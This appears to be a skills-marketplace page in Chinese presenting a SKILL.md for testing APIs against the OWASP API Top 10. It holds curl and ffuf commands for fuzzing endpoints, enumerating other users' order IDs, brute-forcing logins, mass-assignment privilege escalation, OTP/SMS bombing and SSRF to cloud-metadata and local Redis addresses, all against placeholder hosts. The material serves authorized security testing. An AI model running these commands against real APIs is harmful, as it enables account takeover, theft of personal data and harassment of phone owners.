用 Codex 或 Claude 帮你安装 复制这段 Prompt,粘贴到 Codex、Claude 或其他助手里,让它检查 Skill 页面并帮你完成安装。
直接命令不会经过审查 Prompt;运行前请先检查来源。
npx skills add https://github.com/killvxk/cybersecurity-skills-zh --skill testing-api-security-with-owasp-top-10命令会保持在同一行。复制前请横向滚动并检查完整内容。
想先保存到本地?可下载 SkillsMP 当前能够提供的文件。
通过分析 Zeek dns.log 中的高熵子域名查询、超量查询量、超长查询长度以及异常 DNS 记录类型,检测 DNS 隧道和数据外泄中的隐蔽通道通信。适用于:当需要狩猎基于 DNS 的 C2 或数据外泄通道、调查异常 DNS 查询模式、或响应涉及 DNS 隧道工具(iodine、dnscat2、DNSExfiltrator)的威胁情报时使用。
实施 Google 的 BeyondCorp 零信任访问模型,通过 IAP、Access Context Manager 和 Chrome Enterprise Premium,消除网络边界的隐式信任,强制执行基于身份的访问控制,实现无 VPN 的安全应用访问。适用于将传统 VPN 替换为零信任架构、部署 Identity-Aware Proxy、配置设备信任策略、或为远程办公实施上下文感知访问控制时使用。
在授权的安全评估过程中,使用 Burp Suite 的扫描器、Intruder 和 Repeater 工具识别和验证跨站脚本(XSS)漏洞。适用于 Web 应用渗透测试中检测反射型、存储型和 DOM 型 XSS,验证自动化扫描器报告的 XSS 发现,以及评估 CSP 和 XSS 过滤器的有效性时使用。
基于 SOC 职业分类
正在显示 SKILL.md
| name | testing-api-security-with-owasp-top-10 |
| description | 使用自动化和手工测试技术,针对 OWASP API 安全 Top 10 风险对 REST 和 GraphQL API 端点进行系统性评估。 |
| domain | cybersecurity |
| subdomain | web-application-security |
| tags | ["penetration-testing","api-security","owasp","rest-api","graphql","burpsuite","postman"] |
| version | 1.0 |
| author | mahipal |
| license | Apache-2.0 |
apt install jq)枚举所有可用 API 端点,了解 API 攻击面。
# 若有 OpenAPI/Swagger 规范,先下载
curl -s "https://api.target.example.com/swagger.json" | jq '.paths | keys[]'
curl -s "https://api.target.example.com/v2/api-docs" | jq '.paths | keys[]'
curl -s "https://api.target.example.com/openapi.yaml"
# 模糊测试 API 端点
ffuf -u "https://api.target.example.com/api/v1/FUZZ" \
-w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt \
-mc 200,201,204,301,401,403,405 \
-fc 404 \
-H "Content-Type: application/json" \
-o api-enum.json -of json
# 模糊测试 API 版本
for v in v1 v2 v3 v4 beta internal admin; do
status=$(curl -s -o /dev/null -w "%{http_code}" \
"https://api.target.example.com/api/$v/users")
echo "$v: $status"
done
# 检查 GraphQL 端点
for path in graphql graphiql playground query gql; do
status=$(curl -s -o /dev/null -w "%{http_code}" \
-X POST -H "Content-Type: application/json" \
-d '{"query":"{__typename}"}' \
"https://api.target.example.com/$path")
echo "$path: $status"
done
测试用户是否可以通过操控 ID 访问属于其他用户的对象。
# 以用户 A 身份认证并获取其资源
TOKEN_A="Bearer eyJhbGciOiJIUzI1NiIs..."
curl -s -H "Authorization: $TOKEN_A" \
"https://api.target.example.com/api/v1/users/101/orders" | jq .
# 使用用户 A 的 token 尝试访问用户 B 的资源
curl -s -H "Authorization: $TOKEN_A" \
"https://api.target.example.com/api/v1/users/102/orders" | jq .
# 使用 Burp Intruder 或 ffuf 模糊测试对象 ID
ffuf -u "https://api.target.example.com/api/v1/orders/FUZZ" \
-w <(seq 1 1000) \
-H "Authorization: $TOKEN_A" \
-mc 200 -t 10 -rate 50
# 测试不同格式的 ID 是否存在 IDOR
# 数字型:/users/102
# UUID:/users/550e8400-e29b-41d4-a716-446655440000
# 编码型:/users/MTAy(base64)
评估认证机制的安全弱点。
# 测试缺少认证的情况
curl -s "https://api.target.example.com/api/v1/users" | jq .
# 测试 JWT token 漏洞
# 不验证签名直接解码 JWT
echo "eyJhbGciOiJIUzI1NiIs..." | cut -d. -f2 | base64 -d 2>/dev/null | jq .
# 测试 "alg: none" 攻击
# Header: {"alg":"none","typ":"JWT"}
# 创建修改了 claims 的未签名 token
# 测试登录接口的暴力破解防护
ffuf -u "https://api.target.example.com/api/v1/auth/login" \
-X POST -H "Content-Type: application/json" \
-d '{"email":"admin@target.com","password":"FUZZ"}' \
-w /usr/share/seclists/Passwords/Common-Credentials/top-1000.txt \
-mc 200 -t 5 -rate 10
# 测试密码重置流程
curl -s -X POST "https://api.target.example.com/api/v1/auth/reset" \
-H "Content-Type: application/json" \
-d '{"email":"victim@target.com"}'
# 检查 token 是否直接出现在响应体而非仅通过邮件发送
测试过度数据暴露和批量赋值漏洞。
# 检查响应中的过度数据
curl -s -H "Authorization: $TOKEN_A" \
"https://api.target.example.com/api/v1/users/101" | jq .
# 关注:密码哈希、SSN、内部 ID、管理员标志、PII
# 测试批量赋值 — 尝试添加管理员属性
curl -s -X PUT \
-H "Authorization: $TOKEN_A" \
-H "Content-Type: application/json" \
-d '{"name":"Test User","role":"admin","is_admin":true}' \
"https://api.target.example.com/api/v1/users/101" | jq .
# 使用 PATCH 方法测试
curl -s -X PATCH \
-H "Authorization: $TOKEN_A" \
-H "Content-Type: application/json" \
-d '{"role":"admin","balance":999999}' \
"https://api.target.example.com/api/v1/users/101" | jq .
# 检查过滤参数是否暴露更多数据
curl -s -H "Authorization: $TOKEN_A" \
"https://api.target.example.com/api/v1/users/101?fields=all" | jq .
curl -s -H "Authorization: $TOKEN_A" \
"https://api.target.example.com/api/v1/users/101?include=password,ssn" | jq .
验证速率限制和资源消耗控制措施。
# 测试认证端点的速率限制
for i in $(seq 1 100); do
status=$(curl -s -o /dev/null -w "%{http_code}" \
-X POST -H "Content-Type: application/json" \
-d '{"email":"test@test.com","password":"wrong"}' \
"https://api.target.example.com/api/v1/auth/login")
echo "尝试 $i:$status"
if [ "$status" == "429" ]; then
echo "在第 $i 次尝试时触发速率限制"
break
fi
done
# 测试不受限制的资源消耗
# 大分页请求
curl -s -H "Authorization: $TOKEN_A" \
"https://api.target.example.com/api/v1/users?limit=100000&offset=0" | jq '. | length'
# GraphQL 深度/复杂度攻击
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: $TOKEN_A" \
-d '{"query":"{ users { friends { friends { friends { friends { name } } } } } }"}' \
"https://api.target.example.com/graphql"
# 测试通过 OTP 端点进行 SMS/邮件轰炸
for i in $(seq 1 20); do
curl -s -X POST -H "Content-Type: application/json" \
-d '{"phone":"+1234567890"}' \
"https://api.target.example.com/api/v1/auth/send-otp"
done
检查通过管理端点实现的权限提升。
# 使用普通用户 token 测试管理端点
ADMIN_ENDPOINTS=(
"/api/v1/admin/users"
"/api/v1/admin/settings"
"/api/v1/admin/logs"
"/api/v1/internal/config"
"/api/v1/users?role=admin"
"/api/v1/admin/export"
)
for endpoint in "${ADMIN_ENDPOINTS[@]}"; do
for method in GET POST PUT DELETE; do
status=$(curl -s -o /dev/null -w "%{http_code}" \
-X "$method" \
-H "Authorization: $TOKEN_A" \
-H "Content-Type: application/json" \
"https://api.target.example.com$endpoint")
if [ "$status" != "403" ] && [ "$status" != "401" ] && [ "$status" != "404" ]; then
echo "潜在问题:$method $endpoint 返回 $status"
fi
done
done
# 测试 HTTP 方法切换
# 若 GET /admin/users 返回 403,尝试:
curl -s -X POST -H "Authorization: $TOKEN_A" \
"https://api.target.example.com/api/v1/admin/users"
# API7:服务端请求伪造(SSRF)
curl -s -X POST -H "Authorization: $TOKEN_A" \
-H "Content-Type: application/json" \
-d '{"url":"http://169.254.169.254/latest/meta-data/"}' \
"https://api.target.example.com/api/v1/fetch-url"
curl -s -X POST -H "Authorization: $TOKEN_A" \
-H "Content-Type: application/json" \
-d '{"webhook_url":"http://127.0.0.1:6379/"}' \
"https://api.target.example.com/api/v1/webhooks"
# API8:安全配置错误
# 检查 CORS 策略
curl -s -I -H "Origin: https://evil.example.com" \
"https://api.target.example.com/api/v1/users" | grep -i "access-control"
# 检查详细错误信息
curl -s -X POST -H "Content-Type: application/json" \
-d '{"invalid": "data' \
"https://api.target.example.com/api/v1/users"
# 检查安全头部
curl -s -I "https://api.target.example.com/api/v1/health" | grep -iE \
"(x-frame|x-content|strict-transport|content-security|x-xss)"
# API9:不当的资产管理
# 测试已废弃的 API 版本
for v in v0 v1 v2 v3; do
curl -s -o /dev/null -w "$v: %{http_code}\n" \
"https://api.target.example.com/api/$v/users"
done
# API10:不安全的 API 消费
# 测试 API 是否盲目信任第三方数据
# 检查 webhook/回调实现是否存在注入漏洞
| 概念 | 定义 |
|---|---|
| BOLA(API1) | 对象级授权缺陷 — 访问属于其他用户的对象 |
| 认证缺陷(API2) | 弱认证机制,允许凭证填充或 token 操控 |
| BOPLA(API3) | 对象属性级授权缺陷 — 过度数据暴露或批量赋值 |
| 不受限资源消耗(API4) | 缺少速率限制,导致 DoS 或暴力破解攻击 |
| 功能级授权缺陷(API5) | 普通用户访问管理员级 API 功能 |
| SSRF(API7) | 通过接受 URL 的 API 参数实现服务端请求伪造 |
| 安全配置错误(API8) | 缺少安全头部、详细错误信息、过于宽松的 CORS |
| 不当资产管理(API9) | 未记录、已废弃或隐藏的 API 端点仍暴露在外 |
| 工具 | 用途 |
|---|---|
| Burp Suite Professional | API 拦截、扫描和手工测试 |
| Postman | API 集合管理和自动化测试执行 |
| ffuf | API 端点和参数模糊测试 |
| Kiterunner | 使用常见 API 路径模式进行 API 端点发现 |
| jwt_tool | JWT token 分析、操控和攻击自动化 |
| GraphQL Voyager | GraphQL schema 可视化和内省分析 |
| Arjun | API 端点的 HTTP 参数发现 |
用户 A 可通过更改 /api/v1/orders/{id} 中的订单 ID 访问用户 B 的订单详情。API 仅检查认证,未在对象级别进行授权校验。
用户更新端点接受 JSON 体中的 role 字段。通过在资料更新请求中添加 "role":"admin",普通用户可将自己提权为管理员。
/api/v2/users 端点有正确的速率限制,但仍可访问的 /api/v1/users 没有速率限制。攻击者使用旧版本暴力破解凭证。
生产环境启用了 GraphQL 内省,暴露了整个 schema,包括内部查询、变更操作以及前端未使用的敏感字段名称。
## API 安全评估报告
**目标**:api.target.example.com
**API 类型**:REST(OpenAPI 3.0)
**评估日期**:2024-01-15
**OWASP API 安全 Top 10(2023)覆盖情况**
| 风险 | 状态 | 严重性 | 详情 |
|------|--------|----------|---------|
| API1:BOLA | 存在漏洞 | 严重 | /api/v1/orders/{id} — IDOR 已确认 |
| API2:认证缺陷 | 存在漏洞 | 高危 | /auth/login 无速率限制 |
| API3:BOPLA | 存在漏洞 | 高危 | 用户角色可通过批量赋值修改 |
| API4:资源消耗 | 存在漏洞 | 中危 | 无分页限制 |
| API5:功能级授权 | 通过 | - | 管理端点已正确限制 |
| API6:不受限敏感流程 | 存在漏洞 | 中危 | OTP 端点缺少速率限制 |
| API7:SSRF | 通过 | - | URL 参数已正确验证 |
| API8:安全配置错误 | 存在漏洞 | 中危 | 错误响应包含详细堆栈跟踪 |
| API9:不当资产管理 | 存在漏洞 | 低危 | API v1 仍可访问但无文档 |
| API10:不安全消费 | 未测试 | - | 未发现第三方 API 集成 |
### 严重发现:订单 API 中的 BOLA
已认证用户可通过遍历订单 ID 访问任意订单。
测试范围:1-1000,847 个有效订单可被访问。
PII 泄露:姓名、地址、支付详情。